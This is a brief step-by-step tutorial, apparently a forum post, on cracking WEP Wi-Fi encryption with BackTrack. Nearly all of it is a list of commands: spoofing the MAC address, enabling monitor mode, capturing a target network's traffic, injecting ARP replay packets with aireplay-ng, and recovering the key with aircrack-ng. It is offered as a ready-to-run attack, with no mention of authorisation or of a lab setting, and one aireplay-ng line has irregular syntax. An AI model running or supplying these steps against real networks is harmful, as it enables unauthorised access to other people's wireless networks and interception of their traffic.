Using BackTrack to crack WEP

open Konsole - Type the following!

modprobe -r iwl3945

modprobe ipwraw

iwconfig

airmon-ng stop wifi0

ifconfig wifi0 down

macchanger --mac 00:11:22:33:44:55 wifi0

airmon-ng start wifi0

airodump-ng wifi0

airodump-ng -c 2 -w network.out --bssid [Target MAC Address] wifi0

aireplay-ng -1 0 -a [Target MAC Address] -h 00:11:22:33:44:55 -e [Target ESSID name] wifi0

aireplay-ng 2 -3 -b [Target MAC Address] -h 00:11:22:33:44:55 wifi0

aircrack-ng -n 128 -b [Target MAC Address] network.out-01.cap

Password will be revealed.